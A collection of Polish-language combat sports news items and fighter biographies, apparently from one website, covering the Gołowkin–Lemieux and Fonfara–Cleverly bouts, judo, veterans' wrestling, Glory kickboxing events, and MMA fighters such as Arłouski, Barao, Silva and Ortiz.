W piątej rundzie Lemieux po jednym z ciosów Gołowkina przyklęknął. Sędzia ruszył do akcji i zaczął liczyć Kanadyjczyka. Ta sytuacja wzbudziła kontrowersje. Gołowkin uderzył klęczącego rywala w głowę, co nie powinno mieć miejsca. Sędzia nie zareagował. Kazach kontynuował swoje ataki i obijał rywala. W siódmej rundzie Lemieux doznał kontuzji nosa. Twarz Kanadyjczyka zalała się krwią, jednak sędzia nie zdecydował się na przerwanie pojedynku. Wydawało się, że kwestią czasu jest, kiedy Gołowkin rozstrzygnie pojedynek. Lemieux wytrzymał jeszcze kilka minut. Ósma runda okazała się ostatnią. Gołowkin zamknął swojego rywala pod linami i niemiłosiernie go obijał. Lemieux był bezradny. Kanadyjczyk szukał ratunku i otrzymał go od sędziego, który przerwał pojedynek. Czy słusznie? Nie ma wątpliwości, że tak. Lemieux przyjął ogromną ilość ciosów, a wraz z upływającym czasem przewaga Gołowkina rosła.

Kolejny tytuł

Lemieux stracił pas i zanotował trzecią porażkę w karierze. Gołowkin opływa w tytuły. Pięściarz z Kazachstanu jest w posiadaniu pasów IBF, IBO, WBA i WBC interim w kategorii średniej. Gołowkin po raz kolejny pokazał, że jest pięściarzem nietuzinkowym. Potwierdził, że w pełni zasługuje na miano najlepszego boksera bez podziału na kategorie wagowe.

Kazach odniósł trzydzieste czwarte zwycięstwo w karierze i po raz trzydziesty pierwszy wygrał przed czasem. Do tej pory na zawodowym ringu nie przegrał. W walce z Lemieux dominował od początku do samego końca. Kazach wyprowadził blisko trzysta ciosów, które doszły do celu. Kanadyjczyk „tylko” osiemdziesiąt dziewięć razy trafił swojego rywala. Gołowkin widzom zgromadzonym w Nowym Jorku dał pokaz boksu najwyższego lotu, a zarazem zaaplikował ogromne wrażenia. Lemieux jest niezadowolony z rozstrzygnięcia pojedynku i trudno mu się dziwić, ale sędzia podjął słuszną decyzję.

Fot. en. tengrinews.kz

KM

Kelmendi triumfuje w Paryżu

Jedna z najlepszych judoczek na świecie po raz kolejny potwierdziła swój kunszt. Majlinda Kelmendi triumfowała podczas turnieju Grand Slam w Paryżu.

Rok 2015 jest pechowy dla reprezentantki Kosowa. 24-letnia zawodniczka przygotowuje się do Igrzysk Olimpijskich w Rio de Janeiro, gdzie chce odnieść sukces. W tym roku ominęły ją dwie ważne imprezy.

Zmorą są kontuzje

Priorytetem dla Kelmendi, która startuje w kategorii 52kg są przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro. Na każdym kroku podkreśla to jej trener Driton Kuka. W tym roku reprezentantka Kosowa występuje rzadko. Dlaczego? Z jednej strony chodzi o jak najlepsze przygotowanie do startu w Brazylii, ale to wytłumaczenie powierzchowne. Kelmendi musi zadbać o swoje zdrowie i wrócić do odpowiedniej formy. W tym roku 24-latkę prześladują urazy.

Kelmendi nie wystartowała na dwóch najważniejszych tegorocznych imprezach. Zabrakło jej podczas Igrzysk Europejskich w Baku oraz na mistrzostwach świata w Astanie. Reprezentantka Kosowa liczyła, że w Kazachstanie będzie broniła tytułu mistrzyni świata, który wywalczyła w 2014 roku w Czelabińsku. Kontuzja pleców uniemożliwiła jej start. Zawodniczka z Kosowa musiała odzyskać wigor, dojść do formy i zrobić wszystko, aby uraz został w pełni wyleczony. Zbyt wczesny powrót na tatami mógł nieść ze sobą poważne konsekwencje. Wcześniej Kelmendi walczyła z kontuzją kolana. Jak widać jedna z najlepszych judoczek na świecie w tym roku ma pecha. Wyjazdu do Rio może być pewna, bo cały czas jest w „czubie” rankingu, jednak istotna jest kwestia przygotowań i powrotu do formy. W Paryżu Kelmendi pokazała, że wszystko jest pod kontrolą.

Paryskie zwycięstwo

Dwukrotna mistrzyni świata w Paryżu stoczyła cztery walki. Na początek reprezentantka Kosowa uporała się z Hiszpanką Laurą Gomez. W ćwierćfinale trafiła na brązową medalistkę Igrzysk Olimpijskich w Londynie – Priscillę Gneto. Walka wyrównana, ale więcej kar na swoim koncie zapisała Francuzka. W drodze do finału Kelmendi znalazła receptę na Yuki Hashimoto. O złoto 24-latka rywalizowała z Evelyne Tschopp, która w półfinale uporała się z zawodniczką z Kosowa – Distrią Krasniqi. Kelmendi pomściła swoją rodaczkę i wygrała przez ippon. Zwycięstwo dla 24-latki jest o tyle cenne, że pokazuje miejsce, w którym obecnie znajduje się judoczka. Kelmendi musi wrócić do regularnych startów. Jej umiejętności są na najwyższym poziomie i w Rio de Janeiro na pewno będzie faworytką do złotego medalu.

Kolejny turniejowy triumf w tym sezonie odniósł Tumurkhuleg Davaadorj. Startujący w kategorii 66kg judoka w tym roku zwyciężał już podczas Grand Prix Ułan Bator i Tbillisi. W 2013 roku w Grand Slam w Paryżu Davaadorj był drugi. Tym razem udało mu się poprawić ten wynik. W finale pokonał Georgija Zantaraia.

KM

Rekordowa walka Fonfary

Polski bokser zrobił kolejny krok w kierunku walki o pas mistrza świata w wadze półciężkiej. W Chicago Andrzej Fonfara uporał się z Nathanem Cleverly’m.

Już od początku wiadomo było, że starcie Polaka i Walijczyka będzie wielkim pojedynkiem. Fonfara zmierzał do ringu ubrany w zbroję polskiej husarii. Były mistrz świata miał świadomość, że czeka go trudne wyzwanie.

Pot i krew

Pięściarze nie kalkulowali, lecz postawili na widowisko. Fonfara i Cleverly nie oszczędzali się i wyprowadzili dużą liczbę ciosów. Na początku starcia aktywniejszy był Walijczyk, którego lewy prosty ranił „Polskiego Księcia”. Druga runda również należała do Cleverly’ego, jednak w kolejnej odsłonie aktywniejszy był już Fonfara. Spychał swojego rywala do defensywy i starał się go zdominować. Walijczyk próbował powstrzymać rywala lewym prostym.

Pojedynek mógł podobać się widzom zgromadzonym w Chicago. Pięściarze nie szczędzili sobie ciosów, jednak w pierwszej części walki aktywniejszy był Cleverly. Walijczyk był bardziej ruchliwy i zaskakiwał Fonfarę. Pojedynek toczył się w szybkim tempie. Siódma runda należała już do Polaka. „Polski Książe” ruszył zdecydowanie na swojego przeciwnika i słał w jego stronę kolejne serie ciosów. Na twarzy byłego mistrza świata pojawiła się krew, a on sam stał się jakby wolniejszy i nabrał dystansu. Cleverly obawiał się kolejnych ciosów Fonfary. Zaznaczyła się przewaga polskiego boksera, jednak pojedynek zwolnił. Fonfara zadawał kolejne ciosy, ale zdarzały mu się przestoje. Stopniowo odrabiał starty, które poniósł na początku, jednak pozwolił Walijczykowi na przebudzenie. W dziewiątej rundzie Cleverly ponownie zaprezentował swoje umiejętności.

Ostatnia odsłona to już popis dominacji Polaka. Werdykt pozostawał niewiadomą, jednak Fonfara zaprezentował dobry boks. Docenili to sędziowie, którzy jednogłośnie wskazali na zwycięstwo „Polskiego Księcia” – 115:113, 116:112, 116:112.

Zarazem obaj pięściarze ustanowili rekord w liczbie zadanych ciosów w wadze półciężkiej. Fonfara i Cleverly wyprowadzili 2524 ataki, z czego 1413 to wynik polskiego boksera.

Kiedy mistrzowska walka?

To podstawowe pytanie po pokonaniu jednego z czołowych pięściarzy wagi półciężkiej. W tym roku Fonfara również uporał się z Julio Cesarem Chavezem Jr. Od czasu porażki z Adonisem Stevensonem Polak stoczył trzy pojedynki.

Fonfara zrobił wszystko, aby zaprezentować się jak najlepiej i wykonać kolejny krok w kierunku walki o mistrzostwo świata. Stevenson to posiadacz pasa WBC i niezwykle silny pięściarz. „Polski Książę” prezentuje się w ringu dobrze i wykazuje się inteligencją. Potrafi dokładnie przeanalizować rywala, daje mu chwilę na rozkręcenie się, a później sam uderza. Czy taka taktyka dałaby efekt w starciu ze Stevensonem? Jedno jest pewne: Fonfara nie boi się trudnych wyzwań i nie unika walki.

Wygrana z Cleverly’m to dwudzieste ósme zwycięstwo w karierze Polaka.

KM

Weterani na medal

W Atenach trwają mistrzostwa świata weteranów w zapasach. Na koncie Polaków są trzy medale, w tym złoty Andrzeja Wrońskiego.

50-latek urodzony w Kartuzach to legenda polskich zapasów. W Atenach Wroński pokazał, że o zdrowie można dbać w każdym wieku, a od pasji nie ma ucieczki. Teraz nasz zapaśnik będzie się ubiegał o mandat poselski w zbliżających się wyborach parlamentarnych.

Pasja to jest to

Dla wielu mistrzostwa świata weteranów kojarzą się ze swego rodzaju farsą i profanacją zapasów. W powszechnym odbiorze sport to rywalizacja dla młodych, pięknych, uśmiechniętych i zorientowanych na sukces. Nie zawsze tak musi być. Zapasy są drogą życiową, tak jak i inne sporty walki. Związanie się z nimi to przyjęcie pewnego systemu zasad i wartości. Związanie się na dobre i na złe. Niezależnie od wieku można rywalizować na sportowej arenie. Ma to szereg zalet w postaci głębszej integracji, cementowania środowiska oraz wypracowywania pewnej ciągłości w działaniu. Wiadomo, że mistrzostwa weteranów nigdy nie będą efektowne i nie porwą tłumów, jednak wbrew pozorom o medale nie rywalizują dziadki, ale są to walki silnych i wysportowanych facetów oraz aktywnych kobiet.

W tym wszystkim jest idea i duch sportu. Zapasy świetnie oddają charakter rywalizacji, ale i poczucia więzi. To niezwykle istotne. Rywalizacja na mistrzostwach jest zacięta i obfituje w ciekawe, pełne pasji walki.

W Atenach Polacy mają na swoim koncie już trzy medale. Po złoto w kategorii 130kg w stylu klasycznym sięgnął Andrzej Wroński. 50-latek to legenda polskich zapasów. Dwukrotny złoty medalista olimpijski – Seul 1988 i Atlanta 1996 oraz mistrz świata z Tampere z 1994 roku , a także trzykrotny mistrz Europy. Jednak Wrońskiemu nadal mało. Polak wystartował w Atenach i okazał się najlepszy. Wroński stoczył zaledwie trzy walki, gdyż do rywalizacji najcięższych stanęło zaledwie siedmiu zapaśników. W decydującym pojedynku Polak uporał się z zawodnikiem gospodarzy Haralamposem Kaltsidisem.

Srebro też się błyszczy

Do dorobku naszej reprezentacji medale dorzucili również Mariusz Wiśniewski w kategorii 85kg w stylu klasycznym oraz Paweł Woliński w 97kg w stylu wolnym.

W kategorii 85kg w stylu klasycznym wystartowało dwóch Polaków. Janusz Lisiewski opadł już w 1/8 finału, a jego pogromcą był Kevin Pine. Za to dalej walczył Mariusz Wiśniewski. Polak stoczył trzy zwycięskie walki. W półfinale rywalizował z Rosjaninem Aleksandrem Siergiejewem i po wyrównanym starciu osiągnął sukces. Martin Dalsbotten w finale miał więcej szczęścia, dlatego też złoto zawisło na szyi Norwega.

Wśród trzynastu startujących w 97kg w stylu wolnym znalazło się dwóch Polaków. Spotkali się już w kwalifikacjach. Paweł Woliński pewnie pokonał Ireneusza Pepłowskiego. Następnie mistrz Polski weteranów z 2014 roku stoczył jeszcze trzy pojedynki. W finale musiał uznać wyższość Amerykanina Granta Johnsona. Srebro zatem dla Polaka.

KM

Andrei Arłouski

Białoruski zawodnik MMA urodzony 4 lutego 1979 roku w Mińsku. Wychowywał się w Bobrujsku. W wieku 16 lat wstąpił do 4-letniej szkoły policyjnej w Mińsku, gdzie rozpoczął treningi Sambo. W 1999 roku wygrał mistrzostwa Europy juniorów oraz mistrzostwa Świata juniorów w Sambo.  Później zdobył również srebrne medale w Pucharze Świata i mistrzostwach Świata seniorów. Aby rozwinąć umiejętności w stójce, w wieku 18 lat rozpoczął treningi Kick-boxingu pod okiem Dmitrija Stiepanowa. Rok później w Petersburgu stoczył swoją pierwszą profesjonalną walkę w formule MMA. Przegrał ją z innym debiutantem Wiaczesławem Dacykiem.  Na ring powrócił w kwietniu 2000 roku, gdy wygrał dwie walki, w tym przez nokaut z Romanem Ziencowem, zdobywając tytuł Mistrza Europy wagi ciężkiej Rosyjskiej federacji M-1. W listopadzie 2000 roku zadebiutował w amerykańskiej organizacji UFC. Wygrał pierwszą walkę ale w dwóch kolejnych przegrał przez nokaut z Ricco Rodriguezem z Pedro Rizzo.  Seria trzech zwycięstw przez nokaut w następnych pojedynkach sprawiła że otrzymał szansę walki o tymczasowe mistrzostwo UFC wagi ciężkiej. Odbyła się ona 5 lutego 2005 roku podczas gali UFC 51, a jego rywalem był Tim Sylvia. Arłouski pokonał Amerykanina przez poddanie w pierwszej rundzie. 12 maja 2005 roku władze UFC odebrały pas Mirowi z powodu przedłużającej się niemożliwości jego bronienia i przekazały go Białorusinowi. Ten w swojej pierwszej obronie znokautował w 15 sekund Paula Buentello. 15 kwietnia 2006 roku po raz drugi bronił tytułu i tym razem go stracił na rzecz Sylvii. Do trzeciej walki pomiędzy tymi zawodnikami doszło już trzy miesiące później podczas UFC 61. Po raz drugi lepszy okazał się Sylvia, który wygrał przez decyzję sędziów.  Po trzeciej walce z Sylvią, Białorusin stoczył w UFC jeszcze trzy wygrane pojedynki, po czym odszedł z organizacji. W 2008 roku podpisał kontrakt z Affliction, w barwach której 24 stycznia 2009 roku zmierzył się z uznawanym ówcześnie za najlepszego zawodnika MMA wagi ciężkiej na świecie Rosjaninem Fiodorem Jemieljanienko.  Stawką walki było mistrzostwa Świata federacji WAMMA. Arłouski został znokautowany  w pierwszej rundzie. Wkrótce potem organizacja Affliction zaprzestała działalności, a Arłouski przeszedł do Strikforce. Dla tego organizacji stoczył trzy walki, wszystkie przegrane. Serie czterech porażek przerwał  27 sierpnia 2011 roku, gdy na gali Pro Elite pokonał przez TKO w trzeciej rundzie Raya Lopeza. 5 listopada, w swoim drugim pojedynku w organizacji Pro Elite znokautował Travisa Fultona.  31 sierpnia 2012 roku doszło do czwartego starcia z Timem Sylvią na gali ONE FC 5- Pride a Nation. Pod koniec drugiej rundu Arłouski znokdaunował rywala po czym zadał nieprzepisowe kopnięcie w głowę leżącego przeciwnika. Sylvia odmówił kontynuowania pojedynku. Sędziowie po dłuższej analizie zdecydowali się ogłosić wynik walki jako no contest.  W 2012 roku związał się z nowo powstałą organizacją Raya Sefo World Series of Fighting. 3 listopada znokautował byłego zawodnika IFL oraz Strikeforce Devina Cole’a. W World Series of Fighting stoczył jeszcze dwa pojedynki. W 2014 roku został zwolniony z kontraktu WSoF i ponownie związał się z UFC. 14 czerwca tego samego roku po prawie 6 latach powrócił do klatki UFC mierząc się z finalistą TuF’a Brendanem Shaubem. Białorusin pokonał Amerykanina niejednogłośnie na punkty.  W tym samym roku pokonał jeszcze Antonio Silvę przez nokaut. W 2015 roku stoczył dwie wygrane walki pokonując przez TKO Travisa Browne’a i przez decyzję sędziowską Franka Mira. 2 stycznia 2016 roku na gali UFC 195 przegrał przez techniczny nokaut z Stipe Miocicem. 8 maja 2016 roku przegrał przez techniczny nokaut z Alistairem Overeemem. 

Renan Barao

Brazylijski zawodnik MMA urodzony 27 lutego 1897 roku w Natal. W MMA zadebiutował w 2005 roku. Początkowo występował w małych organizacjach na terytorium Brazylii. Po licznych sukcesach w Ameryce Południowej, związał się z Amerykańską organizacją World Extreme Cagefighting, gdzie zadebiutował 20 czerwca 2010 roku w walce z Anthony Leone. Barao wygrał przez poddanie w trzeciej rundzie. Następną walkę stoczył 16 grudnia 2010 z Chrisem Carasio, którego pokonał przez poddanie, tym razem już w pierwszej rundzie.  W październiku 2010 roku WEC zostało połączone z UFC. Barao zadebiutował w UFC 28 maja 2011 na UFC 130 gdzie wygrał z Cole’m Escovedo przez jednogłośną decyzję. Następnie 5 listopada 2011 roku na UFC 138, pokonał Brada Picketta przez poddanie w pierwszej rundzie. Jego kolejnym przeciwnikiem był Scott Jorgensen, którego Renan pokonał przez jednogłośną decyzję. W tym czasie mistrz UFC w wadze koguciej Dominick Cruz doznał kontuzji, w związku z czym zapadła decyzja o wyborze tymczasowego mistrza tej kategorii. 21 lipca 2012 na UFC 149 Barao pokonał Urijaha Fabera przez jednogłośną decyzję i został tymczasowym mistrzem UFC wagi koguciej. Następnie obronił ten tytuł 16 lutego 2013 na gali UFC on Fuel w starciu z Michaelem McDonald’em, którego pokonał przez poddanie w czwartej rundzie. Kolejną obronę stoczył 21 września 2013 na UFC 165 gdzie pokonał Eddiego Wineland’a, nokautując go w drugiej rundzie. 1 lutego 2014 roku miało dojść do walki Renana Barao z Dominickiem Cruzem o zostanie niekwestionowanym mistrzem wagi koguciej UFC.  Do tej walki jednak nie doszło, ponieważ Cruz ponownie doznał kontuzji i UFC zdecydowało o odebraniu mu pasa oraz oddaniu go w ręce Barao. Zamiast z Cruzem, 1 lutego 2014 na UFC 169 zmierzył się ponownie z Urijah’em Faberem, którego pokonał przez techniczny nokaut w pierwszej rundzie. 24 maja 2014 doszło do starcia Barao z T.J. Dillashaw, które Brazylijczyk przegrał przez TKO w piątej rundzie.  Po tej porażce Barao wrócił na ring 20 grudnia 2014 roku w starciu z Mitch Gagnon, którego pokonał przez poddanie w trzeciej rundzie. 25 lipca 2015 roku doszło do rewanżowego pojedynku z T.J. Dillashaw, które i tym razem Barao przegrał przez TKO.

Antonio Silva

Brazylijski zawodnik MMA urodzony 14 września 1979 roku w Campina Grande. Zawodową karierę MMA rozpoczął w 2005 roku w Wielkiej Brytanii. W tym samym roku zdobył mistrzostwa organizacji Cage Rage w wadze ciężkiej i mniej znaczącej Cage Warriors w wadze superciężkiej. W 2006 roku stoczył dwa wygrane pojedynki w Japonii,  w organizacji HERO’S. W swojej ósmej walce doznał pierwszej porażki w karierze, gdy przegrał w grudniu 2006 roku w Vancouver przez techniczny nokaut z Amerykaninem Erikiem Pele. W 2007 roku podpisał kontrakt z nowo powstałą amerykańską organizacją Elite XC. Po wygraniu trzech walk z rzędu dostał szansę walki o pierwsze mistrzostwo EliteXC w wadze ciężkiej przeciwko Justinowi Eilersowi. 26 lipca 2008 roku pokonał Amerykanina przez techniczny nokaut zdobywając tytuł. Przeprowadzone po walce testy antydopingowe wykryły w organizmie Silvy steryd anaboliczny boldenon. W konsekwencji California State Athletic Commission ukarała go grzywną oraz rocznym zawieszeniem. Mimo nieprzyznania się do winy i złożenia apelacji kara została podtrzymana. Nie mogąc walczyć w USA, Silva podpisał kontrakt z japońską organizacją World Victory Road i stoczył w 2009 roku dwie zwycięskie walki w Japonii. W listopadzie 2009 roku zadebiutował w Strikeforce, gdy przegrał przez jednogłośną decyzję z rodakiem Fabricio Werdumem. W 2010 roku stoczył dwie walki, obie wygrane przeciwko Andrejowi Arłouskiemu i Mike’owi Kyle’owi.  W styczniu 2011 ogłoszono, że Silva wystąpi w 8-osobowym turnieju Strikeforce w wadze ciężkiej. W rozegranym 12 lutego ćwierćfinale zmierzył się z byłym mistrzem PRIDE FC Fiodorem Jemieljanienko. Pokonał go przez techniczny nokaut gdy w przerwie między drugą a trzecią rundą lekarz orzekł o nie zdolności Rosjanina do kontynuowania walki z powodu opuchlizny oka.  W rozegranym 10 września półfinale Silva starł się z Danielem Cormierem. Amerykanin wyeliminował Brazylijczyka z turnieju, nokautując go w pierwszej rundzie. W styczniu 2012 roku Silva podpisał kontrakt z UFC. W swoim debiucie przegrał z byłym mistrzem UFC Cainem Velasquezem przez TKO w pierwszej rundzie. 5 października wygrał swoją pierwszą walkę w UFC pokonując Travisa Browna. 2 lutego 2013 pokonał przez nokaut w trzeciej rundzie Alistaira Overeema. 25 maja 2013 roku ponownie przegrał z Cainem Velasquezem, również przez TKO.  7 grudnia 2013 roku stoczył remisowy pojedynek z Markiem Huntem. Kolejne dwa pojedynki to były dwie przegrane z Andrejem Arłouskim i Frankiem Mirem. 1 sierpnia 2015 roku Silva pokonał przez TKO Soa Palelei. 14 listopada 2015 roku Silva przegrał przez TKO z Mark Huntem na gali UFC 193.

Glory wraca do Europy

Organizacja Glory planuje swoje kolejne gale w Europie. Wydarzenia w Ameryce Północnej uwarunkowane były głównie względami finansowymi, jednak wśród kibiców ze Starego Kontynentu nie wywołały specjalnego entuzjazmu.

Tym razem nie zabraknie walk, które będą elektryzowały. Główne pojedynki gal Glory 25 i Glory 26 zapowiadają się niezwykle interesująco. Fanów czekają walki w kickboxingu na najwyższym poziomie, a ich stawką będą pasy mistrzowskie.

Petrosyan rusza do boju

Do Glory wraca Giorgio Petrosyan. Czy będzie to wielki powrót? Zawodnik z Włoch, ma również obywatelstwo ormiańskie, jest pierwszym fighterem w historii, który został dwa razy z rzędu mistrzem K-1 Max. Po raz ostatni dla organizacji Glory 29-latek walczył w listopadzie 2013 roku, kiedy to poniósł porażkę. Pogromcą Włocha okazał się Andy Ristie, który podczas gali w Nowym Jorku w trzeciej rundzie pozbawił swojego rywala szans na zwycięstwo. Lewy hak załatwił sprawę. W tym roku Petrosyan stoczył trzy walki i wszystkie wygrał. Ostatni występ to rywalizacja z Xu Yanem podczas Hero Legends. Włoch potraktował swojego rywala lewym kolanem, co zadecydowało o jego zwycięstwie w trzeciej rundzie.

Podczas gali Glory 25, która odbędzie się 6 listopada rywalem Petrosyana będzie Josh Jauncey. Urodzony w Londynie zawodnik to obecnie jeden z najbardziej utalentowanych fighterów. W ostatnim pojedynku Jauncey uporał się z Coulibaly'm Djime. Teraz będzie miał okazję sprawdzić się w rywalizacji z mocnym przeciwnikiem.

Stawką pojedynku „Robin van Roosmalen vs Sittichai Sitsongpeenong’ będzie pas mistrzowski Glory w kategorii 70kg. Holender to jeden z najlepszych, a przez wielu uważany za numer jeden, wagi lekkiej na świecie. Roosmalen nie znalazł pogromcy od dwóch lat. Ostatnim zawodnikiem, który znalazł sposób na 26-latka był Andy Ristie, jednak w tym roku Holender wziął rewanż na 33-latku urodzonym w Surinamie. W Dubaju obaj stoczyli wyrównany pojedynek, jednak po pięciu rundach sędziowie wskazali na Roosmalena. Teraz Holender stanie przed trudnym wyzwaniem. Sitsongpeenong to młody i efektowny fighter, który nie boi się rywalizacji z nikim. Taj stoczył w tym roku aż dziesięć pojedynków i tylko w jednym schodził pokonany z ringu. Lepszy od Sitsongpeenonga okazał się Dylan Salvador podczas gali Kunlun Fight 24 w Weronie.

Kickboxing wraca do Holandii

W końcu gala organizacji Glory zawita do Holandii. Wydarzenie odbędzie się 4 grudnia w Amsterdamie. Na Glory 26 dojdzie do dwóch pojedynków, których stawką będą pasy mistrzowskie.

Rico Verhoeven będzie bronił tytułu w wadze ciężkiej. Walka 26-letniego Holendra zapowiada się niezwykle interesująco, gdyż jego rywalem będzie Benjamin Adegbuyi. Do ich starcia doszło podczas Glory 22 w Lille. Wtedy triumfował Verhoeven, który wygrał decyzją sędziów. Jak będzie tym razem? Adegbuyi od ostatniego spotkania z Holendrem stoczył trzy walki. Wszystkie wygrał, a dwie z nich zakończył efektownie.

Pasa w kategorii 77kg będzie bronił Nieky Holzken. Rywal Holendra nie jest jeszcze znany, ale pewne jest, że stanie przed trudnym wyzwaniem. Holzken wygrał osiem pojedynków z rzędu.

KM

Trening medialny przed galą Imbiriada Fighters Night 5

Organizatorzy zapraszają do Rzeszowa w środę 21 października 2015 r. o godz. 15:00 na trening medialny poprzedzający galę.Trening promujący wydarzenie będzie wielką atrakcją dla osób odwiedzających i korzystających w tym dniu z JATOMI FITNESS Millenium Hall , które udostępnia nam swoje gościnne wnętrza i wspiera event. 

Trening odbędzie się w JATOMI FITNESS Millenium Hall ( poziom 2 ) w Rzeszowie, gdzie fani sportów walki będą mogli się spotkać z zawodnikami biorącymi udział w gali IMBIRIADA FIGHTERS NIGHT 5. Najlepsi z najlepszych, światowe sławy:

  • Iwona Nieroda – wielokrotna Mistrzyni Polski Low Kick, K-1, Full Contact, dwukrotna zawodowa Mistrzyni WAKO PRO; 
  • Janilson Tavares Lopes da Cruz – Mistrz Portugalii w Muay Thai, Mistrz Świata Muay Thai, zawodnik K-1 o przydomku "MALKRIADO";
  • Kamil Ruta – Mistrz Świata i zdobywca Pucharu Świata, V-ce Mistrz Europy, Mistrz Polski; 
  • Arkadiusz Kaszuba – Mistrz Świata, Mistrz Polski K-1 i Low Kick.

Zawodnicy zaprezentują zgromadzonej publiczności kilkuminutowe treningi pokazowe. Dla fanów i kibiców sportu trening będzie okazją do rozmów z gwiazdami, zdobycia autografu, czy zrobienia wspólnego zdjęcia. Na uczestników treningu oprócz wspaniałych emocji czekają również konkursy z atrakcyjnymi nagrodami. 

Trening rozpocznie się w środę o godz. 15.00 prezentacją i dynamiczną częścią trwającą do godz. 15:45, podczas której zaprezentują się zawodnicy biorący udział w gali. 

Następnie od godz. 15:45 – 16.30 będzie można stanąć na macie ramię w ramię i odbyć trening z utytułowanymi zawodnikami.

Gorąco zapraszamy fanów i sympatyków sportów walki oraz media!

21 października godz. 15:00 – 16:30

JATOMI FITNESS Millenium Hall, ul. Kopisto 1, Rzeszów

Tito Ortiz

Amerykański zapaśnik i zawodnik MMA urodzony 23 stycznia 1975 roku w Huntington Beach.  Jako student amatorsko trenował zapasy. Był wielokrotnym medalistą akademickich zawodów zapaśniczych. W 2000 roku zdobył brązowy medal na prestiżowych zawodach grapplerskich ADCC.  W MMA zadebiutował w maju 1997 roku, biorąc udział w turnieju UFC 13. W pierwszej rundzie tego turnieju wygrał z Wesem Albrittonem, ale w drugiej przegrał przez poddanie z Guyem Mezgerem. Nie zrażony tą porażką kontynuował swoją karierę w MMA, po pokonaniu Jerry Bohlandera i zwycięstwie w rewanżowej walce z Guyem Mezgerem, stanął do walki z mistrzem wagi półciężkiej UFC Frankiem Shamrockiem.  Przegrał jednak ten pojedynek przez techniczny nokaut. Po tym pojedynku Shamrock zdecydował się zakończyć karierę, wobec czego władze UFC zorganizowały w lipcu 2000 roku, walkę o wakujący pas mistrzowski i wyznaczył do niego Ortiza i najlepszego Brazylijskiego zawodnika Wanderleia Silvę. Ortiz wygrał decyzją sędziowską po pięciu zaciętych rundach. W następnych latach kilkakrotnie bronił pasa mistrzowskiego, pokonując min. Yukiego Kondo oraz Kena Shamrocka, przyrodniego brata Franka. W sierpniu 2003 roku stracił tytuł na rzecz byłego mistrza UFC wagi ciężkiej Randy’ego Couture’a, a następnej walce przegrał przez nokaut z Chuckiem Liddelem. W 2004 roku pokonał przez decyzję Patricka Cote oraz Vitora Belforta, po czym wycofał się z UFC na blisko półtora roku. Do UFC powrócił w lipcu 2006 roku pokonując przez decyzję Forresta Griffina. Następnie został trenerem jednej z drużyn w reality show The Ultimate Fighter 3. Drugim trenerem został Ken Shamrock, a po zakończeniu programu doszło do rewanżowej walki między Ortizem a Shamrockiem. Tito wygrał już w pierwszej rundzie przez techniczny nokaut, ale jego rywal nie zgadzał się z werdyktem i twierdził, że walka została zbyt szybko przerwana. Dlatego doszło do trzeciego starcia tych zawodników i znów lepszy okazał się Ortiz. W grudniu 2006 roku doszło do rewanżowej walki Ortiza z Chuckiem Liddelem, której stawką był pas mistrzowski wagi półciężkiej, jednak Tito ponownie przegrał przez nokaut. W lipcu 2007 roku zmierzył się z Rashadem Evansem. Odebrano mu punkt za trzymanie się klatki i walka zakończyła się remisem. Następnie poniósł dwie porażki przez decyzję sędziów na UFC 84 z Lyoto Machidą i na UFC 106 z Forrestem Griffinem. Na UFC 132 poddał przez duszenie gilotynowa Ryana Badera w pierwszej rundzie. Po zwycięstwie nad Baderem zanotował dwie porażki z rzędu, kolejno z Evansem i Antonio Rogerio Nogueira przez techniczny nokaut. Ostatnią walkę w kontrakcie oraz w karierze stoczył z Forrestem Griffinem. Ich trzecie starcie miało miejsce 7 lipca 2012 roku. Ortiz trzykrotnie posyłał rywala na deski w ciągu walki, ale to nie wystarczyło do zwycięstwa i ostatecznie przegrał na punkty. Po przegranej zapowiedział zakończenie kariery zawodnika MMA lecz po roku postanowił powrócić i związał się z konkurencyjną organizacją Bellator MMA. W debiucie 2 listopada 2013 roku miał stoczyć pojedynek z innym, byłym mistrzem UFC Quintonem Jacksonem, lecz 28 października uległ kontuzji szyi i musiał wycofać się z pojedynku. 17 maja 2014 roku został zestawiony z ówczesnym mistrzem Bellatora wagi średniej Rosjaninem Aleksandrem  Szlemienkom. Stawiany w roli faworyta Rosjanin nieoczekiwanie uległ Ortizowi który poddał go duszeniem rękoma w pierwszej rundzie. 15 listopada tego samego roku pokonał Stephana Bonnara na punkty na gali Bellator 131. 19 września 2015 roku przegrał przez poddanie z Liam McGeary. 

St. Pierre broni Diaza

Nick Diaz znalazł się na poważnym zakręcie. Jego kariera w MMA runęła w gruzach po tym jak został zawieszony na pięć lat za stosowanie niedozwolonych środków.

Tym samym 32-letni Amerykanin znalazł się pod ścianą. Komisja Sportowa Stanu Nevada nałożyła na Diaza surową karę, z którą sam zawodnik nie zgadza się. W swojej opinii nie jest odosobniony.

Ciężkie chwile

Całe życie Diaza zmieniło się 31 stycznia 2015, kiedy stoczył pojedynek z Andersonem Silvą. Pojedynek dwóch czołowych fighterów był długo wyczekiwany. Walka trwała trzy rundy, ale cały spektakl rozpoczął się po jej zakończeniu, a właściwie po ujawnieniu informacji, że badania wykazały obecność niedozwolonych substancji u obu zawodników. Świat MMA zadrżał.

Silva zapewniał, że to nieprawda i gotowy był na kolejne badania. Wizerunek „Spidera” legł w gruzach. Dla wielu był idolem i jednym z najlepszych fighterów. W jego organizmie wykryto drostanolon, temazepam i oksazepam. Brazylijczyk został zawieszony na rok. Z kolei na przypadek Diaza spoglądano nieco inaczej. 32-latek miał już wcześniej podobne doświadczenia i kolejny wybryk nie dziwił nikogo. Po prostu środowisko MMA miało świadomość, że w przypadku Diaza taki krok był możliwy. Diaz po raz trzeci został złapany za stosowanie marihuany.

Pięć lat, 165 tysięcy dolarów kary oraz koszty procesowe – to był prawdziwy cios dla Diaza. Gwiazdorowi UFC zawalił się świat. Diaz podkreślał, że dla MMA poświęcił wszystko.

St. Pierre wspiera Diaza

Okazuje się, że nie wszyscy odwrócili się od Amerykanina. Głos w sprawie zabrał były gwiazdor UFC Georges St-Pierre. Zawodnicy rywalizowali ze sobą w marcu 2013 roku. Lepszy okazał się Kanadyjczyk, który tym samym obronił pas wagi półśredniej.

Zdaniem St. Pierre kara dla Diaza jest zbyt surowa. – Sądzę, że pięć lat zawieszenia dla Diaza to zdecydowanie za dużo w porównaniu do sprawy Andersona Silvy albo innych sportowców, którzy zostali przyłapani na oszustwach. Wydaje mi się, iż Nick został użyty jako przykład dla innych z powodu jego osobowości i medialności – tłumaczy Kanadyjczyk.

